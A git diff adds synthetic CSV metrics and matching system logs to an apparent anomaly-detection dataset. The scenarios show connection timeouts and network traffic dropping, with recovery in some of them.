+2025-08-01T10:04:05Z,20.11,38.79,26.78,0.02,0.03 +2025-08-01T10:04:10Z,20.76,47.3,26.7,0.01,0.03 +2025-08-01T10:04:15Z,18.25,49.2,22.45,0.02,0.01 +2025-08-01T10:04:20Z,17.42,48.96,30.24,0.04,0.01 +2025-08-01T10:04:25Z,22.62,41.33,28.96,0.01,0.03 +2025-08-01T10:04:30Z,20.39,40.25,25.44,0.03,0.0 +2025-08-01T10:04:35Z,18.71,50.34,32.46,0.01,0.02 +2025-08-01T10:04:40Z,22.23,43.41,26.8,0.0,0.02 +2025-08-01T10:04:45Z,19.62,46.02,28.51,0.03,0.04 +2025-08-01T10:04:50Z,22.48,44.53,23.55,0.02,0.03 +2025-08-01T10:04:55Z,20.7,42.67,30.33,0.03,0.01 +2025-08-01T10:05:00Z,19.42,46.69,35.66,1.25,0.98 +2025-08-01T10:05:05Z,20.19,43.02,32.46,1.05,0.74 +2025-08-01T10:05:10Z,16.21,45.68,37.43,0.82,0.75 +2025-08-01T10:05:15Z,17.74,46.49,28.45,1.38,1.08 +2025-08-01T10:05:20Z,19.33,49.72,31.83,1.11,0.71 +2025-08-01T10:05:25Z,17.73,45.36,22.84,0.75,1.24 +2025-08-01T10:05:30Z,19.06,41.23,24.43,0.86,0.75 +2025-08-01T10:05:35Z,18.87,44.91,24.17,0.8,0.93 +2025-08-01T10:05:40Z,20.4,42.21,27.58,1.07,1.11 +2025-08-01T10:05:45Z,18.65,36.41,31.87,1.03,0.5 +2025-08-01T10:05:50Z,18.59,50.01,38.15,1.22,0.58 +2025-08-01T10:05:55Z,19.78,45.67,30.4,1.17,1.02 +2025-08-01T10:06:00Z,21.06,39.65,36.8,1.22,0.48 +2025-08-01T10:06:05Z,21.72,42.9,33.64,0.67,0.68 +2025-08-01T10:06:10Z,22.66,45.11,24.78,1.66,1.04 +2025-08-01T10:06:15Z,19.55,50.87,31.9,0.71,1.09 +2025-08-01T10:06:20Z,20.62,45.26,34.63,1.44,1.15 +2025-08-01T10:06:25Z,21.33,41.63,27.02,1.18,0.9 +2025-08-01T10:06:30Z,19.22,43.73,27.46,1.02,0.89 +2025-08-01T10:06:35Z,21.7,43.88,33.78,1.1,1.11 +2025-08-01T10:06:40Z,18.69,41.43,37.67,1.31,0.68 +2025-08-01T10:06:45Z,19.15,44.6,22.64,1.48,0.96 +2025-08-01T10:06:50Z,19.51,43.82,27.71,1.29,0.82 +2025-08-01T10:06:55Z,20.36,39.09,33.9,0.9,0.79 +2025-08-01T10:07:00Z,18.48,44.83,29.67,1.12,0.83 +2025-08-01T10:07:05Z,21.36,38.74,26.05,1.63,1.0 +2025-08-01T10:07:10Z,24.53,42.52,33.31,1.27,1.09 +2025-08-01T10:07:15Z,23.17,42.91,23.44,1.71,0.87 +2025-08-01T10:07:20Z,18.97,46.66,37.91,1.61,0.87 +2025-08-01T10:07:25Z,18.3,46.55,32.93,1.18,0.98 diff --git a/anom_dataset/scenario_10/anom_10_10.log b/anom_dataset/scenario_10/anom_10_10.log new file mode 100644 index 0000000000000000000000000000000000000000..b8a06fbcce731c31b5c826e9dd242eff17b1fb7e --- /dev/null +++ b/anom_dataset/scenario_10/anom_10_10.log @@ -0,0 +1,32 @@ +Aug 01 10:00:00 web-app[2233]: GET /api/v1/serviceA status=200 OK +Aug 01 10:00:00 systemd[1]: Starting daily clean up activities... +Aug 01 10:00:20 web-app[2233]: GET /api/v1/serviceA status=200 OK +Aug 01 10:00:40 web-app[2233]: GET /api/v1/serviceA status=200 OK +Aug 01 10:01:00 web-app[2233]: GET /api/v1/serviceA status=200 OK +Aug 01 10:01:15 systemd[1]: Starting daily clean up activities... +Aug 01 10:01:20 web-app[2233]: GET /api/v1/serviceA status=200 OK +Aug 01 10:01:40 web-app[2233]: GET /api/v1/serviceA status=200 OK +Aug 01 10:02:00 web-app[2233]: GET /api/v1/serviceA status=200 OK +Aug 01 10:02:20 web-app[2233]: GET /api/v1/serviceA status=200 OK +Aug 01 10:02:30 client-app[5678]: ERROR failed to connect to serviceA: Connection timed out +Aug 01 10:02:30 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 01 10:02:45 client-app[5678]: ERROR failed to connect to serviceA: Connection timed out +Aug 01 10:03:00 client-app[5678]: ERROR failed to connect to serviceA: Connection timed out +Aug 01 10:03:15 client-app[5678]: ERROR failed to connect to serviceA: Connection timed out +Aug 01 10:03:20 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 01 10:03:30 client-app[5678]: ERROR failed to connect to serviceA: Connection timed out +Aug 01 10:03:45 client-app[5678]: ERROR failed to connect to serviceA: Connection timed out +Aug 01 10:04:00 client-app[5678]: ERROR failed to connect to serviceA: Connection timed out +Aug 01 10:04:10 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 01 10:04:15 client-app[5678]: ERROR failed to connect to serviceA: Connection timed out +Aug 01 10:04:30 client-app[5678]: ERROR failed to connect to serviceA: Connection timed out +Aug 01 10:04:45 client-app[5678]: ERROR failed to connect to serviceA: Connection timed out +Aug 01 10:05:00 web-app[2233]: GET /api/v1/serviceA status=200 OK +Aug 01 10:05:00 web-app[2233]: INFO Service serviceA connection restored +Aug 01 10:05:20 web-app[2233]: GET /api/v1/serviceA status=200 OK +Aug 01 10:05:40 web-app[2233]: GET /api/v1/serviceA status=200 OK +Aug 01 10:06:00 web-app[2233]: GET /api/v1/serviceA status=200 OK +Aug 01 10:06:20 web-app[2233]: GET /api/v1/serviceA status=200 OK +Aug 01 10:06:40 web-app[2233]: GET /api/v1/serviceA status=200 OK +Aug 01 10:07:00 web-app[2233]: GET /api/v1/serviceA status=200 OK +Aug 01 10:07:20 web-app[2233]: GET /api/v1/serviceA status=200 OK diff --git a/anom_dataset/scenario_10/anom_10_11.csv b/anom_dataset/scenario_10/anom_10_11.csv new file mode 100644 index 0000000000000000000000000000000000000000..90ecf2fdb3fc832ab0f90fedfc244ac7c48c4123 --- /dev/null +++ b/anom_dataset/scenario_10/anom_10_11.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-23T10:00:00Z,15.99,40.29,33.13,1.63,1.0 +2025-08-23T10:00:05Z,14.72,42.91,25.71,0.77,1.21 +2025-08-23T10:00:10Z,16.3,37.89,24.65,1.55,0.88 +2025-08-23T10:00:15Z,18.05,39.02,32.41,1.2,0.98 +2025-08-23T10:00:20Z,14.53,38.82,28.88,0.91,1.04 +2025-08-23T10:00:25Z,14.53,35.61,33.57,1.34,0.82 +2025-08-23T10:00:30Z,18.16,40.89,32.37,1.26,0.94 +2025-08-23T10:00:35Z,16.53,40.78,29.64,1.02,0.9 +2025-08-23T10:00:40Z,14.06,40.02,25.77,1.22,0.92 +2025-08-23T10:00:45Z,16.09,39.3,22.43,1.08,0.75 +2025-08-23T10:00:50Z,14.07,35.75,27.77,1.23,0.9 +2025-08-23T10:00:55Z,14.07,38.74,34.28,1.4,1.0 +2025-08-23T10:01:00Z,15.48,38.97,31.07,1.68,1.19 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+2025-08-23T10:04:25Z,16.22,40.55,26.74,0.04,0.01 +2025-08-23T10:04:30Z,17.06,40.78,40.72,0.03,0.01 +2025-08-23T10:04:35Z,16.86,42.35,33.17,0.0,0.01 +2025-08-23T10:04:40Z,13.32,36.29,19.87,0.04,0.01 +2025-08-23T10:04:45Z,14.38,36.04,30.93,0.05,0.01 +2025-08-23T10:04:50Z,15.66,41.57,26.69,0.0,0.01 +2025-08-23T10:04:55Z,16.95,40.89,34.26,0.01,0.04 +2025-08-23T10:05:00Z,14.04,40.75,26.04,0.04,0.0 +2025-08-23T10:05:05Z,14.63,41.04,29.43,0.04,0.03 +2025-08-23T10:05:10Z,12.79,37.96,32.52,0.01,0.02 +2025-08-23T10:05:15Z,12.61,40.7,34.33,0.01,0.05 +2025-08-23T10:05:20Z,16.63,40.88,24.0,0.02,0.01 +2025-08-23T10:05:25Z,17.71,37.86,28.33,0.02,0.02 +2025-08-23T10:05:30Z,14.86,45.6,27.63,0.03,0.05 +2025-08-23T10:05:35Z,17.01,41.42,26.73,0.02,0.04 +2025-08-23T10:05:40Z,15.72,36.43,38.83,0.02,0.04 +2025-08-23T10:05:45Z,13.71,41.97,32.02,0.04,0.01 +2025-08-23T10:05:50Z,15.72,37.08,23.7,0.0,0.01 +2025-08-23T10:05:55Z,18.08,42.36,34.59,0.01,0.03 +2025-08-23T10:06:00Z,14.93,43.48,40.61,0.04,0.05 +2025-08-23T10:06:05Z,18.13,37.54,35.16,0.04,0.03 +2025-08-23T10:06:10Z,9.76,42.89,22.4,0.03,0.03 +2025-08-23T10:06:15Z,16.64,41.24,27.58,0.03,0.01 +2025-08-23T10:06:20Z,15.17,42.47,36.33,0.01,0.04 +2025-08-23T10:06:25Z,14.4,45.69,26.46,0.02,0.01 +2025-08-23T10:06:30Z,15.18,39.26,32.22,0.03,0.02 +2025-08-23T10:06:35Z,11.02,37.74,33.87,0.01,0.02 +2025-08-23T10:06:40Z,14.56,37.33,25.37,0.01,0.03 +2025-08-23T10:06:45Z,15.71,37.55,29.7,0.02,0.01 +2025-08-23T10:06:50Z,17.96,39.77,13.79,0.0,0.01 +2025-08-23T10:06:55Z,13.96,41.02,24.88,0.02,0.03 +2025-08-23T10:07:00Z,13.38,40.83,28.74,0.01,0.01 +2025-08-23T10:07:05Z,14.0,42.48,23.76,0.02,0.03 +2025-08-23T10:07:10Z,16.83,40.04,38.16,0.01,0.01 +2025-08-23T10:07:15Z,15.66,44.36,22.85,0.04,0.02 +2025-08-23T10:07:20Z,13.94,39.21,27.8,0.03,0.03 +2025-08-23T10:07:25Z,16.03,48.16,30.65,0.03,0.0 diff --git a/anom_dataset/scenario_10/anom_10_11.log b/anom_dataset/scenario_10/anom_10_11.log new file mode 100644 index 0000000000000000000000000000000000000000..99b3e488d992e9b9a925db8368ee2cbd44cc5090 --- /dev/null +++ b/anom_dataset/scenario_10/anom_10_11.log @@ -0,0 +1,27 @@ +Aug 23 10:00:00 systemd[1]: Started User Manager for UID 1000. +Aug 23 10:00:00 web-app[3345]: GET /api/v1/health status=200 OK +Aug 23 10:00:20 web-app[3345]: GET /api/v1/health status=200 OK +Aug 23 10:00:40 web-app[3345]: GET /api/v1/health status=200 OK +Aug 23 10:00:50 systemd[1]: Starting daily clean up activities... +Aug 23 10:01:00 web-app[3345]: GET /api/v1/health status=200 OK +Aug 23 10:01:20 web-app[3345]: GET /api/v1/health status=200 OK +Aug 23 10:01:40 web-app[3345]: GET /api/v1/health status=200 OK +Aug 23 10:02:00 web-app[3345]: GET /api/v1/health status=200 OK +Aug 23 10:02:05 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 23 10:02:20 web-app[3345]: GET /api/v1/health status=200 OK +Aug 23 10:02:40 web-app[3345]: GET /api/v1/health status=200 OK +Aug 23 10:03:20 data-processor[7890]: ERROR: Connection to web-app on port 80 timed out +Aug 23 10:03:25 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 23 10:03:45 data-processor[7890]: ERROR: Connection to web-app on port 80 timed out +Aug 23 10:04:10 data-processor[7890]: ERROR: Connection to web-app on port 80 timed out +Aug 23 10:04:15 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 23 10:04:35 data-processor[7890]: ERROR: Connection to web-app on port 80 timed out +Aug 23 10:05:00 data-processor[7890]: ERROR: Connection to web-app on port 80 timed out +Aug 23 10:05:05 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 23 10:05:25 data-processor[7890]: ERROR: Connection to web-app on port 80 timed out +Aug 23 10:05:50 data-processor[7890]: ERROR: Connection to web-app on port 80 timed out +Aug 23 10:05:55 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 23 10:06:15 data-processor[7890]: ERROR: Connection to web-app on port 80 timed out +Aug 23 10:06:40 data-processor[7890]: ERROR: Connection to web-app on port 80 timed out +Aug 23 10:06:45 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 23 10:07:05 data-processor[7890]: ERROR: Connection to web-app on port 80 timed out diff --git a/anom_dataset/scenario_10/anom_10_12.csv b/anom_dataset/scenario_10/anom_10_12.csv new file mode 100644 index 0000000000000000000000000000000000000000..d8b4951551090b689fe5dd9c432d5db10e92da35 --- /dev/null +++ b/anom_dataset/scenario_10/anom_10_12.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-03T14:00:00Z,17.55,44.02,25.66,1.05,1.14 +2025-07-03T14:00:05Z,16.33,46.75,36.99,1.53,1.1 +2025-07-03T14:00:10Z,14.53,41.35,28.79,1.56,0.97 +2025-07-03T14:00:15Z,16.25,41.52,26.37,1.17,1.14 +2025-07-03T14:00:20Z,12.79,44.78,27.68,1.29,1.29 +2025-07-03T14:00:25Z,12.54,41.35,25.58,1.53,0.99 +2025-07-03T14:00:30Z,16.03,46.75,39.21,1.46,1.15 +2025-07-03T14:00:35Z,13.46,46.66,25.6,1.98,0.97 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+2025-07-03T14:05:45Z,11.91,44.83,27.04,1.0,1.29 +2025-07-03T14:05:50Z,14.87,45.71,30.66,1.73,1.0 +2025-07-03T14:05:55Z,16.12,42.95,32.52,2.0,0.9 +2025-07-03T14:06:00Z,12.93,47.09,31.91,1.65,1.51 +2025-07-03T14:06:05Z,15.12,45.42,30.95,1.87,1.17 +2025-07-03T14:06:10Z,14.75,47.07,42.43,1.4,0.96 +2025-07-03T14:06:15Z,14.91,41.4,29.93,1.52,1.33 +2025-07-03T14:06:20Z,13.27,42.81,25.58,1.46,1.05 +2025-07-03T14:06:25Z,14.39,41.02,31.0,1.65,1.17 +2025-07-03T14:06:30Z,15.17,46.41,28.65,0.78,1.11 +2025-07-03T14:06:35Z,14.3,44.82,25.36,1.31,1.58 +2025-07-03T14:06:40Z,14.94,40.48,27.16,1.71,0.92 +2025-07-03T14:06:45Z,13.13,49.02,31.48,1.44,1.32 +2025-07-03T14:06:50Z,19.1,39.31,34.28,1.69,1.09 +2025-07-03T14:06:55Z,15.4,46.48,29.17,1.63,0.92 +2025-07-03T14:07:00Z,13.92,45.06,32.99,1.56,1.44 +2025-07-03T14:07:05Z,15.22,44.73,29.21,1.69,0.98 +2025-07-03T14:07:10Z,9.93,48.55,26.29,1.01,0.9 +2025-07-03T14:07:15Z,14.33,50.5,39.0,1.42,1.1 +2025-07-03T14:07:20Z,17.7,46.71,33.41,1.67,0.93 +2025-07-03T14:07:25Z,15.17,42.47,35.76,1.63,1.0 diff --git a/anom_dataset/scenario_10/anom_10_12.log b/anom_dataset/scenario_10/anom_10_12.log new file mode 100644 index 0000000000000000000000000000000000000000..3a10fc7b231a60fad2a2314e6c3f03793bc70efa --- /dev/null +++ b/anom_dataset/scenario_10/anom_10_12.log @@ -0,0 +1,42 @@ +Jul 03 14:00:00 systemd[1]: Starting daily clean up activities... +Jul 03 14:00:00 CRON[5000]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 14:00:00 payment-service[2048]: GET /api/v1/health status=200 OK +Jul 03 14:00:00 payment-service[2048]: POST /api/v1/transaction status=202 Accepted +Jul 03 14:00:20 payment-service[2048]: GET /api/v1/health status=200 OK +Jul 03 14:00:35 payment-service[2048]: POST /api/v1/transaction status=202 Accepted +Jul 03 14:00:40 payment-service[2048]: GET /api/v1/health status=200 OK +Jul 03 14:01:00 payment-service[2048]: GET /api/v1/health status=200 OK +Jul 03 14:01:10 payment-service[2048]: POST /api/v1/transaction status=202 Accepted +Jul 03 14:01:20 payment-service[2048]: GET /api/v1/health status=200 OK +Jul 03 14:01:40 systemd[1]: Starting daily clean up activities... +Jul 03 14:01:40 payment-service[2048]: GET /api/v1/health status=200 OK +Jul 03 14:01:45 payment-service[2048]: POST /api/v1/transaction status=202 Accepted +Jul 03 14:02:00 payment-service[2048]: GET /api/v1/health status=200 OK +Jul 03 14:02:20 payment-service[2048]: GET /api/v1/health status=200 OK +Jul 03 14:02:20 payment-service[2048]: POST /api/v1/transaction status=202 Accepted +Jul 03 14:02:30 payment-service[2048]: ERROR Connection to database failed: Connection timed out +Jul 03 14:02:55 CRON[5035]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 14:02:55 payment-service[2048]: ERROR Connection to database failed: Connection timed out +Jul 03 14:03:00 api-gateway[1024]: ERROR Upstream service connection error: Connection timed out for service 'payment-service' +Jul 03 14:03:20 systemd[1]: Starting daily clean up activities... +Jul 03 14:03:20 payment-service[2048]: ERROR Connection to database failed: Connection timed out +Jul 03 14:03:45 payment-service[2048]: ERROR Connection to database failed: Connection timed out +Jul 03 14:03:45 api-gateway[1024]: ERROR Upstream service connection error: Connection timed out for service 'payment-service' +Jul 03 14:04:10 payment-service[2048]: ERROR Connection to database failed: Connection timed out +Jul 03 14:04:30 api-gateway[1024]: ERROR Upstream service connection error: Connection timed out for service 'payment-service' +Jul 03 14:04:35 payment-service[2048]: ERROR Connection to database failed: Connection timed out +Jul 03 14:05:00 systemd[1]: Starting daily clean up activities... +Jul 03 14:05:00 payment-service[2048]: GET /api/v1/health status=200 OK +Jul 03 14:05:15 payment-service[2048]: POST /api/v1/transaction status=202 Accepted +Jul 03 14:05:20 payment-service[2048]: GET /api/v1/health status=200 OK +Jul 03 14:05:40 payment-service[2048]: GET /api/v1/health status=200 OK +Jul 03 14:05:50 CRON[5070]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 14:05:50 payment-service[2048]: POST /api/v1/transaction status=202 Accepted +Jul 03 14:06:00 payment-service[2048]: GET /api/v1/health status=200 OK +Jul 03 14:06:20 payment-service[2048]: GET /api/v1/health status=200 OK +Jul 03 14:06:25 payment-service[2048]: POST /api/v1/transaction status=202 Accepted +Jul 03 14:06:40 systemd[1]: Starting daily clean up activities... +Jul 03 14:06:40 payment-service[2048]: GET /api/v1/health status=200 OK +Jul 03 14:07:00 payment-service[2048]: GET /api/v1/health status=200 OK +Jul 03 14:07:00 payment-service[2048]: POST /api/v1/transaction status=202 Accepted +Jul 03 14:07:20 payment-service[2048]: GET /api/v1/health status=200 OK diff --git a/anom_dataset/scenario_10/anom_10_13.csv b/anom_dataset/scenario_10/anom_10_13.csv new file mode 100644 index 0000000000000000000000000000000000000000..1c216e8128f2e9b9ed35784709c4dc1450c3170f --- /dev/null +++ b/anom_dataset/scenario_10/anom_10_13.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T12:00:00Z,24.96,48.23,29.57,1.33,1.25 +2025-07-02T12:00:05Z,18.43,43.12,24.97,0.92,1.13 +2025-07-02T12:00:10Z,17.57,40.02,28.97,1.4,0.71 +2025-07-02T12:00:15Z,15.23,49.16,20.12,1.16,0.97 +2025-07-02T12:00:20Z,18.61,44.22,29.02,1.25,0.99 +2025-07-02T12:00:25Z,18.18,40.71,23.32,1.31,0.82 +2025-07-02T12:00:30Z,16.95,43.65,20.79,1.11,1.13 +2025-07-02T12:00:35Z,21.75,43.19,27.68,1.33,0.87 +2025-07-02T12:00:40Z,23.91,42.82,33.62,0.9,0.9 +2025-07-02T12:00:45Z,18.21,41.56,27.19,1.35,1.19 +2025-07-02T12:00:50Z,23.6,48.2,28.9,1.21,0.97 +2025-07-02T12:00:55Z,24.61,45.12,31.05,1.21,0.99 +2025-07-02T12:01:00Z,24.93,44.47,30.15,1.35,1.22 +2025-07-02T12:01:05Z,18.37,47.94,23.45,0.84,1.22 +2025-07-02T12:01:10Z,20.55,46.22,34.56,1.16,1.13 +2025-07-02T12:01:15Z,18.66,40.9,25.45,0.8,1.13 +2025-07-02T12:01:20Z,16.55,43.19,26.36,1.26,1.11 +2025-07-02T12:01:25Z,22.63,49.4,23.44,0.84,0.87 +2025-07-02T12:01:30Z,23.75,46.83,32.52,1.41,0.84 +2025-07-02T12:01:35Z,23.02,43.11,22.29,1.17,0.94 +2025-07-02T12:01:40Z,24.21,40.95,24.55,0.99,0.82 +2025-07-02T12:01:45Z,23.67,41.74,20.94,0.92,0.91 +2025-07-02T12:01:50Z,20.45,49.67,34.36,0.88,1.26 +2025-07-02T12:01:55Z,24.76,49.6,22.18,0.9,1.23 +2025-07-02T12:02:00Z,23.79,49.51,27.77,0.95,1.29 +2025-07-02T12:02:05Z,16.06,41.38,28.53,1.2,0.74 +2025-07-02T12:02:10Z,22.65,44.78,30.71,0.91,1.04 +2025-07-02T12:02:15Z,18.57,41.38,24.49,0.95,1.25 +2025-07-02T12:02:20Z,17.33,43.92,30.93,1.07,0.7 +2025-07-02T12:02:25Z,24.32,48.43,25.96,1.15,0.91 +2025-07-02T12:02:30Z,15.86,44.86,34.99,0.03,0.03 +2025-07-02T12:02:35Z,18.36,46.03,21.32,0.02,0.05 +2025-07-02T12:02:40Z,22.44,48.34,34.02,0.02,0.02 +2025-07-02T12:02:45Z,22.94,44.1,33.89,0.04,0.03 +2025-07-02T12:02:50Z,16.53,48.4,26.82,0.02,0.04 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+2025-07-02T12:06:15Z,22.16,45.32,22.14,0.04,0.03 +2025-07-02T12:06:20Z,22.61,40.02,27.81,0.04,0.0 +2025-07-02T12:06:25Z,20.18,48.68,20.62,0.02,0.04 +2025-07-02T12:06:30Z,24.06,48.07,34.28,0.03,0.04 +2025-07-02T12:06:35Z,24.28,44.99,29.1,0.03,0.01 +2025-07-02T12:06:40Z,16.2,43.89,31.32,0.05,0.04 +2025-07-02T12:06:45Z,16.0,44.21,33.59,0.02,0.05 +2025-07-02T12:06:50Z,21.79,44.26,31.63,0.03,0.02 +2025-07-02T12:06:55Z,16.14,41.48,21.6,0.04,0.05 +2025-07-02T12:07:00Z,20.05,43.3,21.55,0.01,0.01 +2025-07-02T12:07:05Z,15.69,43.58,21.56,0.01,0.05 +2025-07-02T12:07:10Z,20.83,44.72,24.64,0.02,0.03 +2025-07-02T12:07:15Z,20.92,41.22,34.13,0.04,0.03 +2025-07-02T12:07:20Z,21.01,40.25,34.31,0.02,0.02 +2025-07-02T12:07:25Z,18.95,43.81,33.83,0.04,0.04 diff --git a/anom_dataset/scenario_10/anom_10_13.log b/anom_dataset/scenario_10/anom_10_13.log new file mode 100644 index 0000000000000000000000000000000000000000..61435ef3f3e09519757b895be595a4897760af7f --- /dev/null +++ b/anom_dataset/scenario_10/anom_10_13.log @@ -0,0 +1,55 @@ +Jul 02 12:00:00 systemd[1]: Starting daily clean up activities... +Jul 02 12:00:00 CRON[5000]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:00:05 web-app[1234]: GET /api/v1/data status=200 OK +Jul 02 12:00:20 web-app[1234]: GET /api/v1/data status=200 OK +Jul 02 12:00:35 web-app[1234]: GET /api/v1/data status=200 OK +Jul 02 12:00:50 systemd[1]: Starting daily clean up activities... +Jul 02 12:00:50 web-app[1234]: GET /api/v1/data status=200 OK +Jul 02 12:01:05 web-app[1234]: GET /api/v1/data status=200 OK +Jul 02 12:01:20 web-app[1234]: GET /api/v1/data status=200 OK +Jul 02 12:01:25 CRON[5017]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:01:35 web-app[1234]: GET /api/v1/data status=200 OK +Jul 02 12:01:40 systemd[1]: Starting daily clean up activities... +Jul 02 12:01:50 web-app[1234]: GET /api/v1/data status=200 OK +Jul 02 12:02:05 web-app[1234]: GET /api/v1/data status=200 OK +Jul 02 12:02:20 web-app[1234]: GET /api/v1/data status=200 OK +Jul 02 12:02:30 systemd[1]: Starting daily clean up activities... +Jul 02 12:02:30 backend-service[4567]: ERROR connect to database on port 5432: Connection timed out +Jul 02 12:02:40 backend-service[4567]: ERROR connect to database on port 5432: Connection timed out +Jul 02 12:02:50 CRON[5034]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:02:50 backend-service[4567]: ERROR connect to database on port 5432: Connection timed out +Jul 02 12:03:00 backend-service[4567]: ERROR connect to database on port 5432: Connection timed out +Jul 02 12:03:10 backend-service[4567]: ERROR connect to database on port 5432: Connection timed out +Jul 02 12:03:20 systemd[1]: Starting daily clean up activities... +Jul 02 12:03:20 backend-service[4567]: ERROR connect to database on port 5432: Connection timed out +Jul 02 12:03:30 backend-service[4567]: ERROR connect to database on port 5432: Connection timed out +Jul 02 12:03:40 backend-service[4567]: ERROR connect to database on port 5432: Connection timed out +Jul 02 12:03:50 backend-service[4567]: ERROR connect to database on port 5432: Connection timed out +Jul 02 12:04:00 backend-service[4567]: ERROR connect to database on port 5432: Connection timed out +Jul 02 12:04:10 systemd[1]: Starting daily clean up activities... +Jul 02 12:04:10 backend-service[4567]: ERROR connect to database on port 5432: Connection timed out +Jul 02 12:04:15 CRON[5051]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:04:20 backend-service[4567]: ERROR connect to database on port 5432: Connection timed out +Jul 02 12:04:30 backend-service[4567]: ERROR connect to database on port 5432: Connection timed out +Jul 02 12:04:40 backend-service[4567]: ERROR connect to database on port 5432: Connection timed out +Jul 02 12:04:50 backend-service[4567]: ERROR connect to database on port 5432: Connection timed out +Jul 02 12:05:00 systemd[1]: Starting daily clean up activities... +Jul 02 12:05:00 backend-service[4567]: ERROR connect to database on port 5432: Connection timed out +Jul 02 12:05:10 backend-service[4567]: ERROR connect to database on port 5432: Connection timed out +Jul 02 12:05:20 backend-service[4567]: ERROR connect to database on port 5432: Connection timed out +Jul 02 12:05:30 backend-service[4567]: ERROR connect to database on port 5432: Connection timed out +Jul 02 12:05:40 CRON[5068]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:05:40 backend-service[4567]: ERROR connect to database on port 5432: Connection timed out +Jul 02 12:05:50 systemd[1]: Starting daily clean up activities... +Jul 02 12:05:50 backend-service[4567]: ERROR connect to database on port 5432: Connection timed out +Jul 02 12:06:00 backend-service[4567]: ERROR connect to database on port 5432: Connection timed out +Jul 02 12:06:10 backend-service[4567]: ERROR connect to database on port 5432: Connection timed out +Jul 02 12:06:20 backend-service[4567]: ERROR connect to database on port 5432: Connection timed out +Jul 02 12:06:30 backend-service[4567]: ERROR connect to database on port 5432: Connection timed out +Jul 02 12:06:40 systemd[1]: Starting daily clean up activities... +Jul 02 12:06:40 backend-service[4567]: ERROR connect to database on port 5432: Connection timed out +Jul 02 12:06:50 backend-service[4567]: ERROR connect to database on port 5432: Connection timed out +Jul 02 12:07:00 backend-service[4567]: ERROR connect to database on port 5432: Connection timed out +Jul 02 12:07:05 CRON[5085]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:07:10 backend-service[4567]: ERROR connect to database on port 5432: Connection timed out +Jul 02 12:07:20 backend-service[4567]: ERROR connect to database on port 5432: Connection timed out diff --git a/anom_dataset/scenario_10/anom_10_15.csv b/anom_dataset/scenario_10/anom_10_15.csv new file mode 100644 index 0000000000000000000000000000000000000000..b5d959b12bfcdcc0c18da55138e673d9d6a2e56e --- /dev/null +++ b/anom_dataset/scenario_10/anom_10_15.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-10T10:00:00Z,20.364212709088626,38.15310478540427,21.296485499765964,1.242448904639819,1.0783852091052473 +2025-07-10T10:00:05Z,16.58780878802105,37.34656541778259,27.045403502396255,1.361863147525383,1.2347115153398338 +2025-07-10T10:00:10Z,19.781014107072565,40.46309914261299,28.635156806998914,0.8628568281186834,0.8722349924987731 +2025-07-10T10:00:15Z,17.108001756064546,38.59566911899729,27.94177487658742,1.3160183296874433,1.0679866698906042 +2025-07-10T10:00:20Z,23.13073326592822,41.40703380524321,22.842935963732373,1.1141896000916365,0.7480999611032908 +2025-07-10T10:00:25Z,22.537154584554802,40.80017704939347,26.986844054238215,1.3658766329811702,0.9941339937420625 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+2025-07-10T10:07:10Z,18.245780797562936,41.37274925213874,20.57616538403999,0.04889823062925277,0.021336028578282346 +2025-07-10T10:07:15Z,24.276577460239253,44.84685358961609,25.245553911798986,0.021378429074777605,0.019522570088734183 +2025-07-10T10:07:20Z,18.888344706435856,40.76139775585758,25.72635850090473,0.003333326000878556,0.03886964262494948 +2025-07-10T10:07:25Z,17.70799197138031,35.24536393489065,29.553178339686376,0.03548397853635337,0.03377858638044418 diff --git a/anom_dataset/scenario_10/anom_10_15.log b/anom_dataset/scenario_10/anom_10_15.log new file mode 100644 index 0000000000000000000000000000000000000000..dd9109c4a13ff219d638b7cbcd2f9ec08c310894 --- /dev/null +++ b/anom_dataset/scenario_10/anom_10_15.log @@ -0,0 +1,70 @@ +Jul 10 10:00:03 systemd[1]: Starting daily clean up activities... +Jul 10 10:00:08 kubelet[1987]: INFO Liveness probe succeeded for pod web-app-pod +Jul 10 10:00:10 web-app[2255]: GET /api/v1/inventory status=200 OK +Jul 10 10:00:17 web-app[2255]: GET /api/v1/inventory status=200 OK +Jul 10 10:00:23 web-app[2255]: GET /api/v1/inventory status=200 OK +Jul 10 10:00:28 kubelet[1987]: INFO Liveness probe succeeded for pod web-app-pod +Jul 10 10:00:28 web-app[2255]: GET /api/v1/inventory status=200 OK +Jul 10 10:00:35 kubelet[1987]: INFO Liveness probe succeeded for pod web-app-pod +Jul 10 10:00:36 kubelet[1987]: INFO Liveness probe succeeded for pod web-app-pod +Jul 10 10:00:45 web-app[2255]: GET /api/v1/inventory status=200 OK +Jul 10 10:01:05 kubelet[1987]: INFO Liveness probe succeeded for pod web-app-pod +Jul 10 10:01:18 web-app[2255]: GET /api/v1/inventory status=200 OK +Jul 10 10:01:22 web-app[2255]: GET /api/v1/inventory status=200 OK +Jul 10 10:01:24 web-app[2255]: GET /api/v1/inventory status=200 OK +Jul 10 10:01:46 web-app[2255]: GET /api/v1/inventory status=200 OK +Jul 10 10:01:46 web-app[2255]: GET /api/v1/inventory status=200 OK +Jul 10 